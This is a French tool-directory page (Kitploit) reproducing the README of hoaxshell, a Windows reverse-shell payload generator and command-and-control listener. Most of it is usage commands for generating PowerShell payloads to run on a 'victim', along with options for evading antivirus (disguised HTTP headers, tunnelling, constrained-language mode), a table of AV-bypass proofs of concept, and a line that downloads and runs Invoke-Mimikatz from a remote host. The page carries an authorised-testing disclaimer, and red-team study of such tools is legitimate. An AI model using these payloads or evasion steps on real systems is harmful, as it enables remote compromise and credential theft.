Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hoaxshell — Un générateur et gestionnaire de payload de reverse shell Windows qui exploite le protocole http(s) pour établir un reverse shell de type balise. | Kitploit
Outils/GitHubGitHub/t3l3machus/hoaxshell
Escalade de PrivilègesGénération de PayloadsExploitationRétro-ingénieriePost-ExploitationTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubt3l3machus/hoaxshell

hoaxshell

Un générateur et gestionnaire de payload de reverse shell Windows qui exploite le protocole http(s) pour établir un reverse shell de type balise.

Voir le dépôt
3.5k524il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

hoaxshell

Python License

⚡ La dernière version de ce projet est le HoaxShell standalone listener qui est fourni avec des modèles de payload rafraîchis. Vous pouvez également l'utiliser directement depuis https://revshells.com (assurez-vous de choisir hoaxshell comme écouteur).

⚠️ Depuis le 2022-10-18, hoaxshell est détecté par AMSI (malware-encyclopedia). Vous devez obfusquer le payload généré pour l'utiliser. Consultez cette vidéo sur la façon d'obfusquer manuellement et de contourner MS Defender :

  • Exemple avec Hoaxshell -> youtube.com/watch?v=iElVfagdCD4
  • Exemple avec des modèles de revshell PowerShell courants -> youtube.com/watch?v=3HddKylkRzM

Objectif

hoaxshell est un générateur et gestionnaire de reverse shell Windows qui abuse du protocole http(s) pour établir un reverse shell de type beacon, basé sur le concept suivant :

image

Ce concept de C2 (qui pourrait être implémenté en utilisant d'autres protocoles que http ou des exécutables pré-installés) peut être utilisé pour établir des sessions qui favorisent l'illusion d'avoir un shell, mais qui sont loin d'un véritable pty.

HoaxShell a bien résisté face aux antivirus (consultez le tableau AV Bypass PoCs pour plus d'informations). Bien qu'il soit maintenant généralement détecté, il est facile d'obfusquer le(s) payload(s) généré(s) à l'aide d'outils automatisés ou manuellement.

Avertissement : Conçu uniquement à des fins de test et d'éducation. N'exécutez PAS les payloads générés par cet outil contre des hôtes pour lesquels vous n'avez pas l'autorisation explicite de tester. Vous êtes responsable de tout problème que vous pourriez causer en utilisant cet outil.

Présentations vidéo

[2022-10-11] Récent et génial, réalisé par John Hammond -> youtube.com/watch?v=fgSARG82TJY [2022-07-15] Démo de la version originale, réalisée par moi -> youtube.com/watch?v=SEufgD5UxdU

Captures d'écran

image

Plus de captures d'écran ici.

Installation

root@kitploit:~
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

Utilisation

Important : Afin d'éviter la détection, hoaxshell génère automatiquement des valeurs aléatoires pour l'ID de session, les chemins d'URL et le nom d'un en-tête HTTP personnalisé utilisé dans le processus, à chaque démarrage du script. Le payload généré ne fonctionnera que pour l'instance pour laquelle il a été généré. Utilisez l'option -g pour contourner ce comportement et rétablir une session active ou réutiliser un payload passé généré avec une nouvelle instance de hoaxshell.

Session shell de base via http

Lorsque vous exécutez hoaxshell, il génère son propre payload PowerShell que vous devez copier et injecter sur la victime. Par défaut, le payload est encodé en base64 pour plus de commodité. Si vous avez besoin du payload brut, exécutez la commande d'invite "rawpayload" ou démarrez hoaxshell avec l'argument -r. Une fois le payload exécuté sur la victime, vous pourrez exécuter des commandes PowerShell contre elle.

Payload utilisant Invoke-Expression (par défaut)

root@kitploit:~
sudo python3 hoaxshell.py -s <votre_ip>

Payload qui écrit et exécute des commandes depuis un fichier

Utilisez -x pour fournir un nom de fichier .ps1 (chemin absolu) à créer sur la machine victime. Vous devriez vérifier le payload brut avant de l'exécuter, assurez-vous que le chemin fourni est fiable.

root@kitploit:~
sudo python3 hoaxshell.py -s <votre_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

Utilisation recommandée pour éviter la détection (via http)

Hoaxshell utilise un en-tête HTTP pour transférer les informations de session du shell. Par défaut, l'en-tête reçoit un nom aléatoire qui peut être détecté par des règles AV basées sur des expressions régulières. Utilisez -H pour fournir un nom d'en-tête HTTP standard ou personnalisé afin d'éviter la détection.

root@kitploit:~
sudo python3 hoaxshell.py -s <votre_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <votre_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

Session shell chiffrée (https + certificat auto-signé)

Ce payload particulier est un signal d'alarme, car il commence par un bloc de code supplémentaire qui ordonne à PowerShell d'ignorer les vérifications de certificats SSL, ce qui le rend suspect et facilement détectable, ainsi que significativement plus long. Déconseillé.

root@kitploit:~
# Générer un certificat auto-signé :
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Passer les fichiers cert.pem et key.pem en arguments :
sudo python3 hoaxshell.py -s <votre_ip> -c </chemin/vers/cert.pem> -k <chemin/vers/key.pem>

Session shell chiffrée avec un certificat de confiance

Si vous possédez un domaine, utilisez cette option pour générer un payload https plus court et moins détectable en fournissant votre DN avec -s ainsi qu'un certificat de confiance (-c cert.pem -k privkey.pem).

root@kitploit:~
sudo python3 hoaxshell.py -s <votre.domaine.com> -t -c </chemin/vers/cert.pem> -k <chemin/vers/key.pem>

Mode reprise de session

Si vous fermez votre terminal accidentellement, ou en cas de panne de courant, vous pouvez démarrer hoaxshell en mode reprise de session ; il tentera de rétablir une session, à condition que le payload soit toujours en cours d'exécution sur la machine victime.

root@kitploit:~
sudo python3 hoaxshell.py -s <votre_ip> -g

Important : Assurez-vous de démarrer hoaxshell avec les mêmes paramètres que la session que vous essayez de restaurer (http/https, port, etc.).

Support du mode langage contraint

Utilisez n'importe quelle variation de payload avec l'option -cm (--constraint-mode) pour générer un payload qui fonctionne même si la victime est configurée pour exécuter PS en mode langage contraint. En utilisant cette option, vous sacrifiez un peu la précision du décodage de la sortie standard de votre reverse shell.

root@kitploit:~
sudo python3 hoaxshell.py -s <votre_ip> -cm

image

Session shell via https en utilisant des outils de tunneling (Ngrok / LocalTunnel)

Utilisez les programmes de tunneling Ngrok ou LocalTunnel pour obtenir des sessions via des tunnels sécurisés, contournant les problèmes tels que l'absence d'adresse IP statique ou l'interdiction du redirection de port par votre FAI.

Utilisez -ng ou --ngrok pour le serveur Ngrok

root@kitploit:~
sudo python3 hoaxshell.py -ng

Utilisez -lt ou --localtunnel pour le serveur LocalTunnel

root@kitploit:~
sudo python3 hoaxshell.py -lt

Limitations

Le shell va se bloquer si vous exécutez une commande qui déclenche une session interactive. Exemple :

root@kitploit:~
# cette commande s'exécutera avec succès et vous n'aurez aucun problème :
> powershell echo 'Ceci est un test'

# Mais celle-ci ouvrira une session interactive dans la session hoaxshell et bloquera le shell :
> powershell

# De la même manière, vous n'aurez aucun problème à exécuter ceci :
> cmd /c dir /a

# Mais cela bloquera votre hoaxshell :
> cmd.exe

Donc, si vous souhaitez par exemple exécuter mimikatz via hoaxshell, vous devez invoquer les commandes :

root@kitploit:~
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

En résumé, vous devez faire attention à ne pas exécuter un exécutable ou une commande qui démarre une session interactive dans le contexte PowerShell de hoaxshell.

Preuves de contournement AV (PoCs)

Des personnes formidables ont eu la gentillesse de m'envoyer / de publier des vidéos de PoC montrant l'exécution des payloads de hoaxshell contre des systèmes exécutant des solutions AV autres que MS Defender, sans être détectées. Vous trouverez ci-dessous un tableau de référence avec les liens :

Important : Je ne sais pas si vous pouvez encore utiliser hoaxshell efficacement pour contourner ces solutions. Il est raisonnable de supposer que la détectabilité changera bientôt (si ce n'est déjà fait).

Actualités

  • 13/10/2022 - Ajout de l'option de support du mode langage contraint (-cm).
  • 08/10/2022 - Ajout des options -ng et -lt qui génèrent des payloads PS pour obtenir des sessions en utilisant les outils de tunneling ngrok ou localtunnel, afin de contourner des limitations comme les adresses IP statiques et le redirection de port.
  • 06/09/2022 - Un nouveau payload a été ajouté, qui écrit les commandes à exécuter dans un fichier au lieu d'utiliser Invoke-Expression. Pour l'utiliser, l'utilisateur doit fournir un nom de fichier .ps1 (chemin absolu) sur la machine victime en utilisant l'option -x.
  • 04/09/2022 - Des modifications ont été apportées pour améliorer le mécanisme de livraison des commandes, car il contenait des composants facilement identifiables. L'option -t ainsi que https_payload_trusted.ps1 ont été ajoutées. Vous pouvez maintenant utiliser hoaxshell en fournissant un nom de domaine ainsi qu'un certificat de confiance. Cela générera un payload https plus court et moins détectable.
  • 01/09/2022 - Ajout de l'option qui permet aux utilisateurs de donner un nom personnalisé à l'en-tête (aléatoire par défaut) utilisé dans le processus d'attaque, transportant l'ID de session du shell. Cela rend l'attaque moins détectable, par exemple en utilisant un nom d'en-tête standard comme "Authorization".
Télécharger l’outil
Solution AVDatePoC
SentinelOne2022-10-18https://twitter.com/i/status/1582137400880336896
Norton2022-10-17https://twitter.com/i/status/1582278579244929024
Bitdefender2022-10-15https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop
McAfee2022-10-15https://twitter.com/i/status/1581605531365814273
Kaspersky2022-10-13https://www.youtube.com/watch?v=IyMH_eCC4Rk
Sophos2022-09-08https://www.youtube.com/watch?v=NYR0rWx4x8k
-H
  • 31/08/2022 - Ajout de l'option -i qui génère le payload PS adapté pour utiliser 'Invoke-RestMethod' au lieu de 'Invoke-WebRequest', permettant ainsi à l'utilisateur de choisir (merci à cette issue). J'ai également corrigé un bug dans l'invite de commande (qui parfois perturbait le chemin).